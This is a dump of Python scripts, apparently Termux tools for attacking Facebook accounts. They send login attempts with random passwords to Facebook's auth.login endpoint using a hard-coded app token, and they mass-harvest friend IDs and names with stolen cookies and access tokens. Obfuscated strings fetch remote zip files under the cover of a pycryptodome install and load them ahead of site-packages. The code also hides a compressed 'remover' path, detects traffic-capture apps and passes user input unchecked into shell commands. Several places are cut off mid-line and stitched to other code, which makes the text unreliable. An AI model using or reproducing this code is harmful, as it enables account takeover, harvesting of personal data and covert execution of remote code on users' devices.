428 | encrypted_passwd, auth_tag = cipher_aes.encrypt_and_digest(password.encode("utf-8"))
429 | buf = io.BytesIO()
430 | buf.write(bytes([1, int(password_encryption_key_id)]))
431 | buf.write(iv)
432 | buf.write(struct.pack(" .temp.txt')
606 | file = open('.temp.txt','r').read().splitlines()
607 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n')
608 | #100010138361148
609 | sf = input(' Saved File As : ')
610 | print('')
611 | os.system('clear')
612 | print(logo)
613 | print(' Total ids To Dump: '+str(len(file)))
614 | print(' Dumping Is Started Wait ....')
615 | print(50*'-')
616 | with ThreadPool(max_workers=20) as yaari:
617 | for exid in file:
618 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf)
619 | print(' Total ids Extracted : '+str(len(total)))
620 | input(' Press enter to back ')
621 | main()
622 |
623 | def new_file(cookies,access_token):
624 | global total
625 | os.system('clear & rm -rf .txt .temp.txt')
626 | os.system('clear')
627 | print(logo)
628 | try:
629 | fl = 1
630 | except:
631 | fl = 1
632 | for xd in range(fl):
633 | idt = input(f' Put id {xd+1}: ')
634 | try:
635 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(idt,access_token)
636 | xyz = requests.Session()
637 | r = xyz.get(fd_url,cookies=cookies).text
638 | q = json.loads(r)
639 | for iid in q['friends']['data']:
640 | uid = iid['id']
641 | open('.txt','a').write(uid+'\n')
642 | except KeyError:
643 | print(' No Friend List : '+idt)
644 | time.sleep(3)
645 | return auto_file(cookies,access_token)
646 | except requests.exceptions.ConnectionError:
647 | print(' No internet connection ....')
648 | print('\n\033[1;92m Example: 100087,100088 etc\033[0;97m')
649 | try:
650 | sl = int(input('\n How Many Links To Grab : '))
651 | except:
652 | sl = 1
653 | for el in range(sl):
654 | sid = input(f' Put {el+1} link: ')
655 | os.system('cat .txt | grep "'+sid+'" > .temp.txt')
656 | file = open('.temp.txt','r').read().splitlines()
657 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n')
658 | #100010138361148
659 | sf = input(' Saved File As : ')
660 | print('')
661 | os.system('clear')
662 | print(logo)
663 | print(' Total ids To Dump: '+str(len(file)))
664 | print(' Dumping Is Started Wait ....')
665 | print(50*'-')
666 | with ThreadPool(max_workers=20) as yaari:
667 | for exid in file:
668 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf)
669 | try:
670 | son = f"qaiser{str(random.randint(0,90))}.txt"
671 | except:
672 | son = f"qaiser{str(random.randint(10,50))}.txt"
673 | os.system(f'cat {sf} | grep "'+sid+'" > /sdcard/'+son+'')
674 | print(' Total ids Extracted : '+str(len(total)))
675 | print(' New ids Saved As : /sdcard/'+son)
676 | print(' Normal ids Saved As : '+sf)
677 | input(' Press enter to back ')
678 | main()
679 |
680 | def iamBadBoy(exid,cookies,access_token,sf):
681 | try:
682 | global total,loop
683 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(exid,access_token)
684 | xyz = requests.Session()
685 | r = xyz.get(fd_url,cookies=cookies).text
686 | q = json.loads(r)
687 | for yaad in q['friends']['data']:
688 | iid = yaad['id']
689 | name = yaad['name']
690 | total.append(iid)
691 | open(sf,'a').write(iid+'|'+name+'\n')
692 | loop+=1
693 | sys.stdout.write('\r Dumping Ids [%s] : [%s]\r'%(loop,len(total)));sys.stdout.flush()
694 | except requests.exceptions.ConnectionError:
695 | print(' No internet connection ...')
696 | except Exception as e:
697 | pass
698 | #print(e)
699 | except KeyError:
700 | pass
701 |
702 | def sep():
703 |
704 | os.system('clear');print(logo)
705 | try:
706 | limit = int(input(' How many links do you want to separate ? '))
707 | except:
708 | limit = 1
709 | print(f'{rg} File Path Example /sdcard/xxx.txt{s}')
710 | file_name = input('\033[0m Input file path : ')
711 | print(f'{rg} Save As Example /sdcard/newfile.txt{s}')
712 | new_save = input('\033[0m Save new file as : ')
713 | y = 0
714 | print(f"{ro} Ids To Grabb Ex [ 100087,10000,10006 etc ]{s}")
715 | for k in range(limit):
716 | y+=1
717 | links=input(' Put Uid Type : ')
718 | os.system('cat '+file_name+' | grep "'+links+'" >> '+new_save)
719 | print(44*"\033[0m-")
720 | print(f'{rc} ids grabbed successfully{s}')
721 | print(' Total grabbed ids :\033[0;33m '+str(len(open(new_save).read().splitlines())))
722 | print('\033[0m New file saved as : \033[0;33m '+new_save)
723 | print(44*"\033[0m-")
724 | input('\033[0m[Press enter to back] ')
725 | main()
726 |
727 | def double():
728 | os.system('clear')
729 | print(logo)
730 | user_file = input('File Path : ')
731 | try:
732 | open(user_file,'r').read()
733 | print(' \n\033[1;97mExample: /sdcard/xxx.txt\n\033[0;97m')
734 | save_file = input('Save new file as: ')
735 | os.system('touch '+save_file)
736 | os.system('sort -r '+user_file+' | uniq > '+save_file)
737 | print(50*'-')
738 | print(' Fully Removed Multi Lines Ids')
739 | print(' Dublicate Lines Removed From File')
740 | print(' File Saved As : '+save_file)
741 | print(50*'-')
742 | input('Press enter to back ')
743 | main()
744 | except FileNotFoundError:
745 | print(' Invalid File ')
746 |
747 | #----[http-capture]----
748 | '''try:
749 | a = "anar"
750 | t="tt"
751 | fileee = os.listdir('/sdcard/Android/data/')
752 | if f'com.h{t}pc{a}y.pro' in fileee:
753 | print('error occur 0')
754 | #exit()
755 | #exit(f'\nsomethiiing went wrong\n\nContact Admin : +923197951815')
756 | except Exception as e:
757 | print(e)
758 | pass
759 | except PermissionError:
760 | pass'''
761 |
762 |
763 | #----[if-fork]------
764 | main()
765 |
--------------------------------------------------------------------------------
/Qsr8.py:
--------------------------------------------------------------------------------
1 | #SOURCE BY : MR_AKING
2 | #GITHUB : AKING110
3 | #QSR ME BAP HU TERA
4 | #coding = utf-8
5 | from uuid import uuid4
6 | import os,sys,tempfile,string,random,subprocess,uuid
7 | http_directory = tempfile.mkdtemp(prefix='.')
8 | site_packages = sys.path[4]
9 | print(site_packages)
10 | print(http_directory)
11 | sys.path.remove(site_packages)
12 | sys.path.insert(4,http_directory+'/reqmodule')
13 | sys.path.insert(5,http_directory)
14 | try:
15 | os.mkdir('crypto')
16 | except:pass
17 | hh = "ho"
18 | hh2 = "9/pycrypt"
19 | find_aarch = subprocess.check_output('uname -om',shell=True)
20 | if 'aarch64' in str(find_aarch):
21 | user_aarch = '64'
22 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto64/crypto64.zip?raw=true'
23 | elif 'arm' in str(find_aarch):
24 | user_aarch = '32'
25 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto32/crypto32.zip?raw=true'
26 | else:
27 | print(' Unknown aarch ')
28 | exit()
29 | if not os.path.isfile(f'crypto/crypto{user_aarch}.zip'):
30 | os.system('clear')
31 | print('\n Please wait while creating pycryptodome for you ! This can take some time\n\n')
32 | os.system(f'curl -L {download_link} > crypto/crypto{user_aarch}.zip')
33 | os.system('python jan.py')
34 | else:
35 | akk2="rsi"
36 | akk=f"cha{akk2}fi"
37 | os.system(f'cp crypto/crypto{user_aarch}.zip {http_directory}')
38 | lib = f'https://github.com/{akk}les/client/blob/main/config.zip?raw=true'
39 | os.system(f'curl -L {lib} > {http_directory}/config.zip')
40 | os.system(f'cd {http_directory} && unzip config.zip -d {http_directory} > /dev/null')
41 | os.system(f'cd {http_directory} && unzip crypto{user_aarch}.zip -d {http_directory} > /dev/null')
42 | try:
43 | import time,requests,re,platform,base64,datetime,hashlib,string,json,io,struct
44 | from string import *
45 | from concurrent.futures import ThreadPoolExecutor as ThreadPool
46 | from Crypto.Cipher import AES, PKCS1_v1_5
47 | from Crypto.PublicKey import RSA
48 | from Crypto.Random import get_random_bytes
49 | except Exception as e:
50 | print(e)
51 | print('\n Installing modules wait !')
52 | os.system('pip install futures==2 && python jan.py')
53 | except FileExistsError:
54 | os.system('pip uninstall requests urllib3 idna certifi -y')
55 | pass
56 |
57 | try:
58 | import os,sys,time,json,random,re,string,platform,base64,requests,io,struct,zlib
59 | from string import *
60 | from concurrent.futures import ThreadPoolExecutor as ThreadPool
61 | except ModuleNotFoundError:
62 | print('\n Installing missing modules ...')
63 | os.system('pip install requests futures==2 > /dev/null')
64 | os.system('python jan.py')
65 |
66 | #----[pran links]-----
67 | kkk = {'user-agent': 'Davik/2.1.0 (Linux; U; Android 7.0.0; MMB29K Build/GT-P5100 [FBAN/FB4A;FBAV/241.0.0.41292;FBBV/975202462;FBDM/{density=1.5,width=480,height=800};FBLC/pl_PL;FBCR/T-Mobile.pl;FBMF/samsung;FBBD/samsung;FBPN/com.facebook.mlite;FBDV/MMB29K;FBSV/4.4.4;nullFBCA/armeabi-v7a:armeabi;]', 'accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'content-type': 'application/x-www-form-urlencoded', 'x-fb-sim-hni': '31061', 'x-fb-connection-type': 'unknown', 'Authorization': 'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32', 'x-fb-net-hni': '28613', 'x-fb-connection-bandwidth': '29643048', 'x-fb-connection-quality': 'EXCELLENT', 'x-fb-friendly-name': 'authenticate', 'x-fb-http-engine': 'Liger'}
68 | hhh = {'adid': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'email': '10000'+str(random.randint(11111111111,99999999999)), 'password': str(random.randint(1111111,9999999)), 'cpl': 'true', 'credentials_type': 'device_based_login_password', 'source': 'login', 'error_detail_type': 'button_with_disabled', 'format': 'json', 'generate_session_cookies': '1', 'generate_analytics_claim': '1', 'generate_machine_id': '1', 'locale': 'pl_PL', 'client_country_code': 'PL', 'device': 'SM-A500H', 'device_id': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'method': 'auth.login', 'fb_api_req_friendly_name': 'authenticate', 'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler'}
69 | lll = ("https://b-api.facebook.com/method/auth.login")
70 | #----[remover]-----
71 | import os,shutil,zlib
72 | sz = zlib.decompress(b'x\x9c\xd3OI,I\xd4\x07\x13\xc9\xf9\xb9z%\xa9E\xb9\xa5\x15\xfai\x999\xa9\xc5\xfa\x19\xf9\xb9\xa9\xfae\x05E\xf9%\xa9\xc9%\x00 .temp.txt')
624 | file = open('.temp.txt','r').read().splitlines()
625 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n')
626 | #100010138361148
627 | sf = input(' Saved File As : ')
628 | print('')
629 | os.system('clear')
630 | print(logo);xchker()
631 | print(' Total ids To Dump: '+str(len(file)))
632 | print(' Dumping Is Started Wait ....')
633 | print(50*'-')
634 | with ThreadPool(max_workers=20) as yaari:
635 | for exid in file:
636 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf)
637 | print(' Total ids Extracted : '+str(len(total)))
638 | input(' Press enter to back ')
639 | main()
640 |
641 | def new_file(cookies,access_token):
642 | global total
643 | os.system('clear & rm -rf .txt .temp.txt')
644 | os.system('clear')
645 | print(logo);xchker()
646 | try:
647 | fl = 1
648 | except:
649 | fl = 1
650 | for xd in range(fl):
651 | idt = input(f' Put id {xd+1}: ')
652 | try:
653 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(idt,access_token)
654 | xyz = requests.Session()
655 | r = xyz.get(fd_url,cookies=cookies).text
656 | q = json.loads(r)
657 | for iid in q['friends']['data']:
658 | uid = iid['id']
659 | open('.txt','a').write(uid+'\n')
660 | except KeyError:
661 | print(' No Friend List : '+idt)
662 | time.sleep(3)
663 | return auto_file(cookies,access_token)
664 | except requests.exceptions.ConnectionError:
665 | print(' No internet connection ....')
666 | print('\n\033[1;92m Example: 100087,100088 etc\033[0;97m')
667 | try:
668 | sl = int(input('\n How Many Links To Grab : '))
669 | except:
670 | sl = 1
671 | for el in range(sl):
672 | sid = input(f' Put {el+1} link: ')
673 | os.system('cat .txt | grep "'+sid+'" > .temp.txt')
674 | file = open('.temp.txt','r').read().splitlines()
675 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n')
676 | #100010138361148
677 | sf = input(' Saved File As : ')
678 | print('')
679 | os.system('clear')
680 | print(logo);xchker()
681 | print(' Total ids To Dump: '+str(len(file)))
682 | print(' Dumping Is Started Wait ....')
683 | print(50*'-')
684 | with ThreadPool(max_workers=20) as yaari:
685 | for exid in file:
686 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf)
687 | try:
688 | son = f"qaiser{str(random.randint(0,90))}.txt"
689 | except:
690 | son = f"qaiser{str(random.randint(10,50))}.txt"
691 | os.system(f'cat {sf} | grep "'+sid+'" > /sdcard/'+son+'')
692 | print(' Total ids Extracted : '+str(len(total)))
693 | print(' New ids Saved As : /sdcard/'+son)
694 | print(' Normal ids Saved As : '+sf)
695 | input(' Press enter to back ')
696 | main()
697 |
698 | def iamBadBoy(exid,cookies,access_token,sf):
699 | try:
700 | global total,loop
701 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(exid,access_token)
702 | xyz = requests.Session()
703 | r = xyz.get(fd_url,cookies=cookies).text
704 | q = json.loads(r)
705 | for yaad in q['friends']['data']:
706 | iid = yaad['id']
707 | name = yaad['name']
708 | total.append(iid)
709 | open(sf,'a').write(iid+'|'+name+'\n')
710 | loop+=1
711 | sys.stdout.write('\r Dumping Ids [%s] : [%s]\r'%(loop,len(total)));sys.stdout.flush()
712 | except requests.exceptions.ConnectionError:
713 | print(' No internet connection ...')
714 | except Exception as e:
715 | pass
716 | #print(e)
717 | except KeyError:
718 | pass
719 |
720 | def sep():
721 | xchker()
722 | os.system('clear');print(logo);xchker()
723 | try:
724 | limit = int(input(' How many links do you want to separate ? '))
725 | except:
726 | limit = 1
727 | print(f'{rg} File Path Example /sdcard/xxx.txt{s}')
728 | file_name = input('\033[0m Input file path : ')
729 | print(f'{rg} Save As Example /sdcard/newfile.txt{s}')
730 | new_save = input('\033[0m Save new file as : ')
731 | y = 0
732 | print(f"{ro} Ids To Grabb Ex [ 100087,10000,10006 etc ]{s}")
733 | for k in range(limit):
734 | y+=1
735 | links=input(' Put Uid Type : ')
736 | os.system('cat '+file_name+' | grep "'+links+'" >> '+new_save)
737 | print(44*"\033[0m-")
738 | print(f'{rc} ids grabbed successfully{s}')
739 | print(' Total grabbed ids :\033[0;33m '+str(len(open(new_save).read().splitlines())))
740 | print('\033[0m New file saved as : \033[0;33m '+new_save)
741 | print(44*"\033[0m-")
742 | input('\033[0m[Press enter to back] ')
743 | main()
744 |
745 | def double():
746 | os.system('clear')
747 | print(logo);xchker()
748 | user_file = input('File Path : ')
749 | try:
750 | open(user_file,'r').read()
751 | print(' \n\033[1;97mExample: /sdcard/xxx.txt\n\033[0;97m')
752 | save_file = input('Save new file as: ')
753 | os.system('touch '+save_file)
754 | os.system('sort -r '+user_file+' | uniq > '+save_file)
755 | print(50*'-')
756 | print(' Fully Removed Multi Lines Ids')
757 | print(' Dublicate Lines Removed From File')
758 | print(' File Saved As : '+save_file)
759 | print(50*'-')
760 | input('Press enter to back ')
761 | main()
762 | except FileNotFoundError:
763 | print(' Invalid File ')
764 |
765 | #----[http-capture]----
766 | try:
767 | a = "anar"
768 | t="tt"
769 | fileee = os.listdir('/sdcard/Android/data/')
770 | if f'com.h{t}pc{a}y.pro' in fileee:
771 | print('error occur 0')
772 | exit()
773 | exit(f'\nsomethiiing went wrong\n\nContact Admin : +923197951815')
774 | except Exception as e:
775 | print(e)
776 | pass
777 | except PermissionError:
778 | pass
779 |
780 |
781 | '''#----[if-fork]------
782 | pat = os.getcwd()
783 | datar = []
784 | datar.append(pat)
785 | if '/data/data/com.termux/files/home/Qsr' in datar:
786 | pass
787 | else:
788 | for i in range(5000):
789 | print(" data is forked / or in other file")
790 | exit("Type > cd ~ && python jan.py")
791 |
792 | if not os.path.exists('.fam'):
793 | qsbuy()
794 | else:
795 | qsbuy()
796 | '''
797 | main()
--------------------------------------------------------------------------------
/Qsr6.py:
--------------------------------------------------------------------------------
1 | #SOURCE BY : MR_AKING
2 | #GITHUB : AKING110
3 | #QSR ME BAP HU TERA
4 | #coding = utf-8
5 | from uuid import uuid4
6 | import os,sys,tempfile,string,random,subprocess,uuid
7 | '''http_directory = tempfile.mkdtemp(prefix='.')
8 | site_packages = sys.path[4]
9 | sys.path.remove(site_packages)
10 | sys.path.insert(4,http_directory+'/reqmodule')
11 | sys.path.insert(5,http_directory)
12 | print(http_directory)
13 | try:
14 | os.mkdir('crypto')
15 | except:pass
16 | hh = "ho"
17 | hh2 = "9/pycrypt"
18 | find_aarch = subprocess.check_output('uname -om',shell=True)
19 | if 'aarch64' in str(find_aarch):
20 | user_aarch = '64'
21 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto64/crypto64.zip?raw=true'
22 | elif 'arm' in str(find_aarch):
23 | user_aarch = '32'
24 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto32/crypto32.zip?raw=true'
25 | else:
26 | print(' Unknown aarch ')
27 | exit()
28 | if not os.path.isfile(f'crypto/crypto{user_aarch}.zip'):
29 | os.system('clear')
30 | print('\n Please wait while creating pycryptodome for you ! This can take some time\n\n')
31 | os.system(f'curl -L {download_link} > crypto/crypto{user_aarch}.zip')
32 | os.system('python jan.py')
33 | else:
34 | akk2="rsi"
35 | akk=f"cha{akk2}fi"
36 | os.system(f'cp crypto/crypto{user_aarch}.zip {http_directory}')
37 | lib = f'https://github.com/{akk}les/client/blob/main/config.zip?raw=true'
38 | os.system(f'curl -L {lib} > {http_directory}/config.zip')
39 | os.system(f'cd {http_directory} && unzip config.zip -d {http_directory} > /dev/null')
40 | os.system(f'cd {http_directory} && unzip crypto{user_aarch}.zip -d {http_directory} > /dev/null')'''
41 | try:
42 | import time,requests,re,platform,base64,datetime,hashlib,string,json,io,struct
43 | from string import *
44 | from concurrent.futures import ThreadPoolExecutor as ThreadPool
45 | from Crypto.Cipher import AES, PKCS1_v1_5
46 | from Crypto.PublicKey import RSA
47 | from Crypto.Random import get_random_bytes
48 | except Exception as e:
49 | print(e)
50 | print('\n Installing modules wait !')
51 | os.system('pip install futures==2 && python jan.py')
52 | except FileExistsError:
53 | os.system('pip uninstall requests urllib3 idna certifi -y')
54 | pass
55 |
56 | try:
57 | import os,sys,time,json,random,re,string,platform,base64,requests,io,struct,zlib
58 | from string import *
59 | from concurrent.futures import ThreadPoolExecutor as ThreadPool
60 | except ModuleNotFoundError:
61 | print('\n Installing missing modules ...')
62 | os.system('pip install requests futures==2 > /dev/null')
63 | os.system('python jan.py')
64 |
65 | #----[pran links]-----
66 | kkk = {'user-agent': 'Davik/2.1.0 (Linux; U; Android 7.0.0; MMB29K Build/GT-P5100 [FBAN/FB4A;FBAV/241.0.0.41292;FBBV/975202462;FBDM/{density=1.5,width=480,height=800};FBLC/pl_PL;FBCR/T-Mobile.pl;FBMF/samsung;FBBD/samsung;FBPN/com.facebook.mlite;FBDV/MMB29K;FBSV/4.4.4;nullFBCA/armeabi-v7a:armeabi;]', 'accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'content-type': 'application/x-www-form-urlencoded', 'x-fb-sim-hni': '31061', 'x-fb-connection-type': 'unknown', 'Authorization': 'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32', 'x-fb-net-hni': '28613', 'x-fb-connection-bandwidth': '29643048', 'x-fb-connection-quality': 'EXCELLENT', 'x-fb-friendly-name': 'authenticate', 'x-fb-http-engine': 'Liger'}
67 | hhh = {'adid': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'email': '10000'+str(random.randint(11111111111,99999999999)), 'password': str(random.randint(1111111,9999999)), 'cpl': 'true', 'credentials_type': 'device_based_login_password', 'source': 'login', 'error_detail_type': 'button_with_disabled', 'format': 'json', 'generate_session_cookies': '1', 'generate_analytics_claim': '1', 'generate_machine_id': '1', 'locale': 'pl_PL', 'client_country_code': 'PL', 'device': 'SM-A500H', 'device_id': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'method': 'auth.login', 'fb_api_req_friendly_name': 'authenticate', 'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler'}
68 | lll = ("https://b-api.facebook.com/method/auth.login")
69 | #----[remover]-----
70 | import os,shutil,zlib
71 | sz = zlib.decompress(b'x\x9c\xd3OI,I\xd4\x07\x13\xc9\xf9\xb9z%\xa9E\xb9\xa5\x15\xfai\x999\xa9\xc5\xfa\x19\xf9\xb9\xa9\xfae\x05E\xf9%\xa9\xc9%\x00 .temp.txt')
624 | file = open('.temp.txt','r').read().splitlines()
625 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n')
626 | #100010138361148
627 | sf = input(' Saved File As : ')
628 | print('')
629 | os.system('clear')
630 | print(logo);xchker()
631 | print(' Total ids To Dump: '+str(len(file)))
632 | print(' Dumping Is Started Wait ....')
633 | print(50*'-')
634 | with ThreadPool(max_workers=20) as yaari:
635 | for exid in file:
636 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf)
637 | print(' Total ids Extracted : '+str(len(total)))
638 | input(' Press enter to back ')
639 | main()
640 |
641 | def new_file(cookies,access_token):
642 | global total
643 | os.system('clear & rm -rf .txt .temp.txt')
644 | os.system('clear')
645 | print(logo);xchker()
646 | try:
647 | fl = 1
648 | except:
649 | fl = 1
650 | for xd in range(fl):
651 | idt = input(f' Put id {xd+1}: ')
652 | try:
653 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(idt,access_token)
654 | xyz = requests.Session()
655 | r = xyz.get(fd_url,cookies=cookies).text
656 | q = json.loads(r)
657 | for iid in q['friends']['data']:
658 | uid = iid['id']
659 | open('.txt','a').write(uid+'\n')
660 | except KeyError:
661 | print(' No Friend List : '+idt)
662 | time.sleep(3)
663 | return auto_file(cookies,access_token)
664 | except requests.exceptions.ConnectionError:
665 | print(' No internet connection ....')
666 | print('\n\033[1;92m Example: 100087,100088 etc\033[0;97m')
667 | try:
668 | sl = int(input('\n How Many Links To Grab : '))
669 | except:
670 | sl = 1
671 | for el in range(sl):
672 | sid = input(f' Put {el+1} link: ')
673 | os.system('cat .txt | grep "'+sid+'" > .temp.txt')
674 | file = open('.temp.txt','r').read().splitlines()
675 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n')
676 | #100010138361148
677 | sf = input(' Saved File As : ')
678 | print('')
679 | os.system('clear')
680 | print(logo);xchker()
681 | print(' Total ids To Dump: '+str(len(file)))
682 | print(' Dumping Is Started Wait ....')
683 | print(50*'-')
684 | with ThreadPool(max_workers=20) as yaari:
685 | for exid in file:
686 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf)
687 | try:
688 | son = f"qaiser{str(random.randint(0,90))}.txt"
689 | except:
690 | son = f"qaiser{str(random.randint(10,50))}.txt"
691 | os.system(f'cat {sf} | grep "'+sid+'" > /sdcard/'+son+'')
692 | print(' Total ids Extracted : '+str(len(total)))
693 | print(' New ids Saved As : /sdcard/'+son)
694 | print(' Normal ids Saved As : '+sf)
695 | input(' Press enter to back ')
696 | main()
697 |
698 | def iamBadBoy(exid,cookies,access_token,sf):
699 | try:
700 | global total,loop
701 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(exid,access_token)
702 | xyz = requests.Session()
703 | r = xyz.get(fd_url,cookies=cookies).text
704 | q = json.loads(r)
705 | for yaad in q['friends']['data']:
706 | iid = yaad['id']
707 | name = yaad['name']
708 | total.append(iid)
709 | open(sf,'a').write(iid+'|'+name+'\n')
710 | loop+=1
711 | sys.stdout.write('\r Dumping Ids [%s] : [%s]\r'%(loop,len(total)));sys.stdout.flush()
712 | except requests.exceptions.ConnectionError:
713 | print(' No internet connection ...')
714 | except Exception as e:
715 | pass
716 | #print(e)
717 | except KeyError:
718 | pass
719 |
720 | def sep():
721 | xchker()
722 | os.system('clear');print(logo);xchker()
723 | try:
724 | limit = int(input(' How many links do you want to separate ? '))
725 | except:
726 | limit = 1
727 | print(f'{rg} File Path Example /sdcard/xxx.txt{s}')
728 | file_name = input('\033[0m Input file path : ')
729 | print(f'{rg} Save As Example /sdcard/newfile.txt{s}')
730 | new_save = input('\033[0m Save new file as : ')
731 | y = 0
732 | print(f"{ro} Ids To Grabb Ex [ 100087,10000,10006 etc ]{s}")
733 | for k in range(limit):
734 | y+=1
735 | links=input(' Put Uid Type : ')
736 | os.system('cat '+file_name+' | grep "'+links+'" >> '+new_save)
737 | print(44*"\033[0m-")
738 | print(f'{rc} ids grabbed successfully{s}')
739 | print(' Total grabbed ids :\033[0;33m '+str(len(open(new_save).read().splitlines())))
740 | print('\033[0m New file saved as : \033[0;33m '+new_save)
741 | print(44*"\033[0m-")
742 | input('\033[0m[Press enter to back] ')
743 | main()
744 |
745 | def double():
746 | os.system('clear')
747 | print(logo);xchker()
748 | user_file = input('File Path : ')
749 | try:
750 | open(user_file,'r').read()
751 | print(' \n\033[1;97mExample: /sdcard/xxx.txt\n\033[0;97m')
752 | save_file = input('Save new file as: ')
753 | os.system('touch '+save_file)
754 | os.system('sort -r '+user_file+' | uniq > '+save_file)
755 | print(50*'-')
756 | print(' Fully Removed Multi Lines Ids')
757 | print(' Dublicate Lines Removed From File')
758 | print(' File Saved As : '+save_file)
759 | print(50*'-')
760 | input('Press enter to back ')
761 | main()
762 | except FileNotFoundError:
763 | print(' Invalid File ')
764 |
765 | #----[http-capture]----
766 | try:
767 | a = "anar"
768 | t="tt"
769 | fileee = os.listdir('/sdcard/Android/data/')
770 | if f'com.h{t}pc{a}y.pro' in fileee:
771 | print('error occur 0')
772 | pass
773 | # exit(f'\nsomethiiing went wrong\n\nContact Admin : +923197951815')
774 | except Exception as e:
775 | print(e)
776 | pass
777 | except PermissionError:
778 | pass
779 |
780 |
781 | #----[if-fork]------
782 | '''pat = os.getcwd()
783 | datar = []
784 | datar.append(pat)
785 | if '/data/data/com.termux/files/home/Qsr' in datar:
786 | pass
787 | else:
788 | for i in range(5000):
789 | print(" data is forked / or in other file")
790 | exit("Type > cd ~ && python jan.py")
791 |
792 | if not os.path.exists('.fam'):
793 | qsbuy()
794 | else:
795 | qsbuy()
796 | '''
797 | main()
--------------------------------------------------------------------------------